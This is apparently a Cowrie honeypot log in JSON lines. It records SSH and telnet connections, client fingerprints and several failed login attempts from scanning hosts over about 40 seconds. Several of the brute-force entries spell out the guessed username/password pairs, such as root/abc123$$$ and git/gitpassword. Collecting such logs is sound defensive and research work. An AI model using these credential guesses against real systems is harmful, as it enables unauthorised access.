{"eventid":"cowrie.session.closed","duration":42.87994694709778,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:29:51.782465Z","src_ip":"104.245.105.2","session":"27077b42e85f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"46.24.47.94","src_port":34190,"dst_ip":"10.17.0.5","dst_port":22,"session":"0bdb015a7e55","protocol":"ssh","message":"New connection: 46.24.47.94:34190 (10.17.0.5:22) [session: 0bdb015a7e55]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:29:51.944617Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:29:51.949408Z","src_ip":"46.24.47.94","session":"0bdb015a7e55","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:29:52.061096Z","src_ip":"46.24.47.94","session":"0bdb015a7e55","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"abc123$$$","message":"login attempt [root/abc123$$$] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:29:52.524265Z","src_ip":"46.24.47.94","session":"0bdb015a7e55","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":43956,"dst_ip":"10.17.0.5","dst_port":23,"session":"ec524f0acc2f","protocol":"telnet","message":"New connection: 104.245.105.2:43956 (10.17.0.5:23) [session: ec524f0acc2f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:29:53.556986Z"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:29:53.633756Z","src_ip":"46.24.47.94","session":"0bdb015a7e55","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"156.251.179.157","src_port":53838,"dst_ip":"10.17.0.5","dst_port":22,"session":"4bb36a26f8c1","protocol":"ssh","message":"New connection: 156.251.179.157:53838 (10.17.0.5:22) [session: 4bb36a26f8c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:29:57.396902Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:29:57.467872Z","src_ip":"156.251.179.157","session":"4bb36a26f8c1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:29:57.708000Z","src_ip":"156.251.179.157","session":"4bb36a26f8c1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tester","password":"password123","message":"login attempt [tester/password123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:29:59.198630Z","src_ip":"156.251.179.157","session":"4bb36a26f8c1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.0","message":"Connection lost after 3.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:30:00.417003Z","src_ip":"156.251.179.157","session":"4bb36a26f8c1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.144.233.139","src_port":49320,"dst_ip":"10.17.0.5","dst_port":22,"session":"d6a96f6144f6","protocol":"ssh","message":"New connection: 45.144.233.139:49320 (10.17.0.5:22) [session: d6a96f6144f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:30:01.298094Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:30:01.303253Z","src_ip":"45.144.233.139","session":"d6a96f6144f6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:30:01.390711Z","src_ip":"45.144.233.139","session":"d6a96f6144f6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"mi1lsug1m3r3utat","message":"login attempt [ubuntu/mi1lsug1m3r3utat] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:30:01.771210Z","src_ip":"45.144.233.139","session":"d6a96f6144f6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:30:02.863247Z","src_ip":"45.144.233.139","session":"d6a96f6144f6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.238.146","src_port":57506,"dst_ip":"10.17.0.5","dst_port":22,"session":"7556e280c2ad","protocol":"ssh","message":"New connection: 152.32.238.146:57506 (10.17.0.5:22) [session: 7556e280c2ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:30:04.111749Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:30:04.119417Z","src_ip":"152.32.238.146","session":"7556e280c2ad","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:30:04.130969Z","src_ip":"152.32.238.146","session":"7556e280c2ad","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"1993","message":"login attempt [ubuntu/1993] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:30:04.244364Z","src_ip":"152.32.238.146","session":"7556e280c2ad","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"168.196.40.42","src_port":49788,"dst_ip":"159.203.135.109","dst_port":23,"session":"530773d5a274","protocol":"telnet","message":"New connection: 168.196.40.42:49788 (159.203.135.109:23) [session: 530773d5a274]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:30:04.941816Z"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:30:05.263167Z","src_ip":"152.32.238.146","session":"7556e280c2ad","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.106.188.32","src_port":44052,"dst_ip":"10.17.0.5","dst_port":22,"session":"e2b3910623b7","protocol":"ssh","message":"New connection: 103.106.188.32:44052 (10.17.0.5:22) [session: e2b3910623b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:30:09.334040Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:30:09.340018Z","src_ip":"103.106.188.32","session":"e2b3910623b7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:30:09.549054Z","src_ip":"103.106.188.32","session":"e2b3910623b7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"git","password":"gitpassword","message":"login attempt [git/gitpassword] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:30:10.433524Z","src_ip":"103.106.188.32","session":"e2b3910623b7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:30:11.647313Z","src_ip":"103.106.188.32","session":"e2b3910623b7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"156.251.179.157","src_port":55312,"dst_ip":"10.17.0.5","dst_port":22,"session":"2a19da00dc3d","protocol":"ssh","message":"New connection: 156.251.179.157:55312 (10.17.0.5:22) [session: 2a19da00dc3d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:30:11.665111Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:30:12.286021Z","src_ip":"156.251.179.157","session":"2a19da00dc3d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.123.41.163","src_port":38706,"dst_ip":"10.17.0.5","dst_port":23,"session":"1c788f588285","protocol":"telnet","message":"New connection: 20.123.41.163:38706 (10.17.0.5:23) [session: 1c788f588285]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:30:12.452707Z"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:30:12.929295Z","src_ip":"156.251.179.157","session":"2a19da00dc3d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"testftp","password":"ftptest123","message":"login attempt [testftp/ftptest123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:30:13.917081Z","src_ip":"156.251.179.157","session":"2a19da00dc3d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.5","message":"Connection lost after 3.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:30:15.146580Z","src_ip":"156.251.179.157","session":"2a19da00dc3d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":13.494942665100098,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:30:18.436655Z","src_ip":"168.196.40.42","session":"530773d5a274","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"156.251.179.157","src_port":56780,"dst_ip":"10.17.0.5","dst_port":22,"session":"7f0e99d9d994","protocol":"ssh","message":"New connection: 156.251.179.157:56780 (10.17.0.5:22) [session: 7f0e99d9d994]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:30:21.484141Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:30:21.584001Z","src_ip":"156.251.179.157","session":"7f0e99d9d994","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:30:21.944678Z","src_ip":"156.251.179.157","session":"7f0e99d9d994","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"ftpserv","message":"login attempt [ubuntu/ftpserv] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:30:23.404645Z","src_ip":"156.251.179.157","session":"7f0e99d9d994","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.88930344581604,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:30:24.446184Z","src_ip":"104.245.105.2","session":"ec524f0acc2f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"3.1","message":"Connection lost after 3.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:30:24.626325Z","src_ip":"156.251.179.157","session":"7f0e99d9d994","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"156.251.179.157","src_port":58256,"dst_ip":"10.17.0.5","dst_port":22,"session":"3177b2e85d52","protocol":"ssh","message":"New connection: 156.251.179.157:58256 (10.17.0.5:22) [session: 3177b2e85d52]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:30:32.405219Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:30:32.467833Z","src_ip":"156.251.179.157","session":"3177b2e85d52","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:30:32.816815Z","src_ip":"156.251.179.157","session":"3177b2e85d52","protocol":"ssh"}
